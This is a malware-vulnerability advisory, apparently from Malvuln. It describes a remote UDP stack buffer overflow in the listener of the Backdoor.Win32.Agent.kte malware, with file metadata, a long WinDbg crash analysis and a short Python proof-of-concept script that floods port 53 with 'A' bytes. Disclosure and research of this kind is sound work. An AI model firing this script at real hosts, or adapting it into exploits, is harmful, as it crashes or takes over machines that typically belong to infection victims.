Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/7c92e59e776355734781bbf05571d0f0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.kte
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)
Description: The malware drops an executable named "aspimgr.exe" under SysWOW64 dir, which listens on TCP port 80 and UDP port 53. Third-party attackers who can reach the server can send a specially crafted UDP packet to port 53, triggering a classic buffer overflow overwriting ECX and EIP registers.
Type: PE32
MD5: 7c92e59e776355734781bbf05571d0f0
Vuln ID: MVID-2021-0195
Dropped files: aspimgr.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021

Memory Dump:
(190c.19fc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03131450 ebp=03131470 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

0:006> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for aspimgr.exe
*** ERROR: Module load completed but symbols could not be loaded for aspimgr.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
aspimgr+63f9
004063f9 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

EXCEPTION_RECORD:  0322e124 -- (.exr 0x322e124)
ExceptionAddress: 004063f9 (aspimgr+0x000063f9)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 03230000
Attempt to read from address 03230000

PROCESS_NAME:  aspimgr.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
aspimgr+63f9
004063f9 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

FAILED_INSTRUCTION_ADDRESS: 
+63f9
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0322e174 -- (.cxr 0x322e174)
eax=0000018d ebx=00000041 ecx=00000001 edx=0000018c esi=0322fffd edi=0322e7a8
eip=004063f9 esp=0322e5d4 ebp=0322ede4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
aspimgr+0x63f9:
004063f9 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 0040665f to 004063f9

STACK_TEXT:  
0322e5d4 004063f9 aspimgr+0x63f9
0322edec 0040665f aspimgr+0x665f
0322ff44 41414141 unknown!printable+0x0
0322ff48 41414141 unknown!printable+0x0
0322ff4c 41414141 unknown!printable+0x0
0322ff50 41414141 unknown!printable+0x0
0322ff54 41414141 unknown!printable+0x0
0322ff58 41414141 unknown!printable+0x0
0322ff5c 41414141 unknown!printable+0x0
0322ff60 41414141 unknown!printable+0x0
0322ff64 41414141 unknown!printable+0x0
0322ff68 41414141 unknown!printable+0x0
0322ff6c 41414141 unknown!printable+0x0
0322ff70 41414141 unknown!printable+0x0
0322ff74 41414141 unknown!printable+0x0
0322ff78 41414141 unknown!printable+0x0
0322ff7c 41414141 unknown!printable+0x0
0322ff80 41414141 unknown!printable+0x0
0322ff84 41414141 unknown!printable+0x0
0322ff88 41414141 unknown!printable+0x0
0322ff8c 41414141 unknown!printable+0x0
0322ff90 41414141 unknown!printable+0x0
0322ff94 41414141 unknown!printable+0x0
0322ff98 41414141 unknown!printable+0x0
0322ff9c 41414141 unknown!printable+0x0
0322ffa0 41414141 unknown!printable+0x0
0322ffa4 41414141 unknown!printable+0x0
0322ffa8 41414141 unknown!printable+0x0
0322ffac 41414141 unknown!printable+0x0
0322ffb0 41414141 unknown!printable+0x0
0322ffb4 41414141 unknown!printable+0x0
0322ffb8 41414141 unknown!printable+0x0
0322ffbc 41414141 unknown!printable+0x0
0322ffc0 41414141 unknown!printable+0x0
0322ffc4 41414141 unknown!printable+0x0
0322ffc8 41414141 unknown!printable+0x0
0322ffcc 41414141 unknown!printable+0x0
0322ffd0 41414141 unknown!printable+0x0
0322ffd4 41414141 unknown!printable+0x0
0322ffd8 41414141 unknown!printable+0x0
0322ffdc 41414141 unknown!printable+0x0
0322ffe0 41414141 unknown!printable+0x0
0322ffe4 41414141 unknown!printable+0x0
0322ffe8 41414141 unknown!printable+0x0
0322ffec 41414141 unknown!printable+0x0
0322fff0 41414141 unknown!printable+0x0
0322fff4 41414141 unknown!printable+0x0
0322fff8 41414141 unknown!printable+0x0
0322fffc 41414141 unknown!printable+0x0
03230000 41414141 unknown!printable+0x0


STACK_COMMAND:  .cxr 000000000322E174 ; kb ; dds 322e5d4 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  aspimgr+63f9

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: aspimgr

IMAGE_NAME:  aspimgr.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  4827e4c0

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_aspimgr.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_aspimgr+63f9


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=53

def doit():

    s=socket(AF_INET, SOCK_DGRAM) 
    s.connect((MALWARE_HOST, PORT))

    PBARBAR = "A"*6415 

    s.send(PBARBAR)
    s.close()

    print("Backdoor.Win32.Agent.kte / Remote Stack Buffer Overflow (UDP)")
    print("MD5: 7c92e59e776355734781bbf05571d0f0")
    print("Malvuln")


if __name__=="__main__":
    doit()


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